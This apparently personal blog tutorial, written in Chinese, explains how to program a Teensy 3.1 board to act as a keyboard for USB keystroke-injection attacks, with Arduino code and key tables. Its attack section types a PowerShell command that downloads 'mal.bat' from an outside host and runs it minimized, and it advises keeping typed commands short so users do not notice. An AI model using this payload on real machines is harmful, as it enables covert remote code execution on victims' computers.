跳到主要內容

Teensy 基本操作&攻擊

Teensy


     Teensy可以拿來做攻擊的原理,說到底,也就是鍵盤、滑鼠的巨集,只是可以自行撰寫指令進去,這樣說完,其實就決的它沒有什麼特別的了。
     它是使用arduino的IDE,所使用的語言類似於Java、C/C++, 這邊有大大提醒所使用的語言是C/C++,不過這部份,我就沒有詳細去研究了,還沒玩到那種程度,呵呵...

Teensy硬體

     下圖是我使用的Teensy 3.1,我目前只有用到他的micro USB以及button,
這是它介面的相關介紹,它能做的事情,其實還不少,只是我目前只拿來做攻擊XD
Micro USB的用途就不用多說了,它上面唯一的button的功能:
  • 短按:重開機
  • 長按:切換模式
切換模式,其實還蠻常用到的,原因在於當我們的程式執行是在loop迴圈下執行的話,然後輸入攻擊指令也是以模擬鍵盤的方式去輸入,所以不斷loop會導致換視窗的時候一直輸入值,這樣其實在操作上會有一些麻煩,例如:一直按住ctrl、按windows鍵等等。

Arduino

語法類似於Java、C/C++,操作介面如下,架構都已經寫好了,只需要編輯function即可:
其中它預設會給兩個function:

void setup(){
...
}//僅執行一次

void loop(){
...
}//持續執行


兩個function的差別就是執行次數,針對僅執行一次的setup(),需要特別提醒一下,他是一開機就會開始執行,因此在執行攻擊的時候,必須要driver安裝的時間、系統delay的時間等等,這些會影響到指令是否可以正常輸入。

安裝Teensy

官方說明:
https://www.pjrc.com/teensy/td_download.html

因為官方有步驟說明,我就不另外寫,這邊主要針對一些可能會遇到的問題做說明,
  • 必須要先安裝arduino,否則會無法安裝。
  • Teensyduino目前最新僅支援到arduino1.6.8,但是arduino目前最新為1.6.9(或更新),Teensyduino在安裝的時候,會檢查版本,因此最新版1.6.9會無法安裝,無法安裝就是沒有NEXT可以按,因此需要去下載舊版的arduino。
  • 一開始要做compiler時,需要設定PORT,選擇Teensy連結到的Port,路徑是Tools=> Port。
  • 另外一個會造成編譯錯誤的部份『USB Type』,預設是『Serial』,這是模式是用於Serial monitor,這個是類似console,可以用於除錯,但是這邊必須要選擇『Keyboard+Mouse+Joystick』或是『Serial+Keyboard+Mouse+Joystick』,下圖是此項目所產生的錯誤訊息。

程式撰寫

基本測試-Hello world -01

基本測試就是Hello world,直接上程式:

void setup() {
}

void loop() {
  Keyboard.println("Hello world");
}

這段程式碼,只是arduino的hello world,Compiler步驟:
  1. 先準備一個記事本,要做鍵盤測試。
  2. Verify(一般來說,它會編譯後,直接上傳到板子,如果沒有上傳成功,可以另外用upload)
  3. 按完Verify,會跳出下面這個小視窗。
  4. 切換到記事本,很快就會開始做輸入

系統快捷鍵

基於上面的Hello world測試程式碼,我們可以發現幾個問題:
  1. 從開機到執行,間隔很短。
  2. 最初的指令執行很容易不完整。
  3. 不斷重複。
問題1,主要就是最初的delay,這個其實也是麻煩的地方,因為每台電腦的性能不同,再者是在最初接上去的時候,OS必須要安裝驅動程式(這部份當然是鍵盤滑鼠的驅動,系統會自己找到),這些時間都必須要納入考量,這部份......沒有建議值XD,各位客官自己嘗試吧,大不了就是先delay個幾分鐘在執行,delay的只如下:
delay(1000);
他的時間是毫秒,所以delay(1000)等於延遲1秒。

Keyboard

接下來是輸入的部份:Keyboard
輸入字串:

Keyboard.print("String");
Keyboard.println("String");

差別就是有換行跟沒換行而已,接下來是重頭戲:

Keybaord.set_modifier();

這個功能就"按住",像是按住Ctrl,通常會跟另外一個指令做搭配:

Keyboard.set_key1();
Keyboard.set_key2();
Keyboard.set_key3();
Keyboard.set_key4();
Keyboard.set_key5();
Keyboard.set_key6();

這是按某鍵,總共可以按六個鍵,他們兩個的搭配方式,例如windows+R呼叫出『執行』,程式碼會像下面這樣:

Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();

這邊又多了幾個新的東西,分別是MODIFIERKEY_GUI、KEY_R、send_now:
MODIFIERKEY_GUI:這是功能鍵,請參考備註『功能鍵對照表』。
KEY_R:按鍵對照表,請參考備註『按鍵對照表』。
send_now:將前面設定的按鍵發送。
整段程式碼的流程,就是按住windows而後再按R,然後送出,而其他用法可以參考官網。
然後最後需要做清空的動作:

Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

此動作是必要的,否則可能會造成鍵盤有問題,測試過程中,如果真的出現鍵盤按鍵出問題的話,就重開機吧。

攻擊應用

這邊是一個基本的攻擊流程:
  1. Delay:這個前面有提過了。
  2. Call Run:Windows+R
  3. Keyin "Enter":這邊要特別注意,不能用println,必須要鍵入ENTER,才能執行。
  4. Attack Command:下面另外說明。
  5. Clean:清除set_modifier、set_key*

Attack Command

攻擊指令在輸入的時候,也有一些地方值得討論:
  • 輸入畫面是看得到的。
    • 這另外一個方向就是,該如何避免讓使用者看到畫面,我的作法是盡量減少需要輸入的指令。
  • 輸入後的延遲。
    • 指令跟指令間,必須要維持一定的延遲,我的測試大概是100~200毫秒,應該就可以了。
在攻擊指令的部份,我的流程如下圖,不過還有很多地方需要修改,主要分成兩個階段,第一個階段是下載外部執行檔,這邊我以bat為例,下載後,做執行,如此一來,可以減少輸入指令所需要的總時數:
PowerShell 的部份:
Keyboard.println("powershell -command \"& {(New-Object Net.WebClient).DownloadFile('http://10.1.61.131/tmp/mal.bat', 'c:\\mal.bat')}\"");

Run downloaded file:
Keyboard.println("start /min c:\\mal.bat ^&exit");


測試影片:
https://www.youtube.com/watch?v=3JDysy80Bnk

大概介紹到這邊,因為做的測試沒有很多,之後有機會在做分享。

參考資料

  1. https://www.pjrc.com/teensy/teensy31.html
  2. https://www.arduino.cc/en/Main/Software
  3. https://zh.wikipedia.org/wiki/Arduino

備註

  • 功能鍵對照表:
    Name
    Function
    MODIFIERKEY_CTRLControl Key
    MODIFIERKEY_SHIFTShift Key
    MODIFIERKEY_ALTAlt Key
    MODIFIERKEY_GUIWindows or Clover

  • 按鍵對照表:
  • Normal Keys
    KEY_AKEY_BKEY_CKEY_D
    KEY_EKEY_FKEY_GKEY_H
    KEY_IKEY_JKEY_KKEY_L
    KEY_MKEY_NKEY_OKEY_P
    KEY_QKEY_RKEY_SKEY_T
    KEY_UKEY_VKEY_WKEY_X
    KEY_YKEY_ZKEY_1KEY_2
    KEY_3KEY_4KEY_5KEY_6
    KEY_7KEY_8KEY_9KEY_0
    KEY_ENTERKEY_ESCKEY_BACKSPACEKEY_TAB
    KEY_SPACEKEY_MINUSKEY_EQUALKEY_LEFT_BRACE
    KEY_RIGHT_BRACEKEY_BACKSLASHKEY_NUMBERKEY_SEMICOLON
    KEY_QUOTEKEY_TILDEKEY_COMMAKEY_PERIOD
    KEY_SLASHKEY_CAPS_LOCKKEY_F1KEY_F2
    KEY_F3KEY_F4KEY_F5KEY_F6
    KEY_F7KEY_F8KEY_F9KEY_F10
    KEY_F11KEY_F12KEY_PRINTSCREENKEY_SCROLL_LOCK
    KEY_PAUSEKEY_INSERTKEY_HOMEKEY_PAGE_UP
    KEY_DELETEKEY_ENDKEY_PAGE_DOWNKEY_RIGHT
    KEY_LEFTKEY_DOWNKEY_UPKEY_NUM_LOCK
    KEYPAD_SLASHKEYPAD_ASTERIXKEYPAD_MINUSKEYPAD_PLUS
    KEYPAD_ENTERKEYPAD_1KEYPAD_2KEYPAD_3
    KEYPAD_4KEYPAD_5KEYPAD_6KEYPAD_7
    KEYPAD_8KEYPAD_9KEYPAD_0KEYPAD_PERIOD


資料參考:https://www.pjrc.com/teensy/td_keyboard.html

留言

  1. 不是類似Java,C/C++
    他就是完整的C++
    而且還支援最新的C++標準

    回覆刪除

張貼留言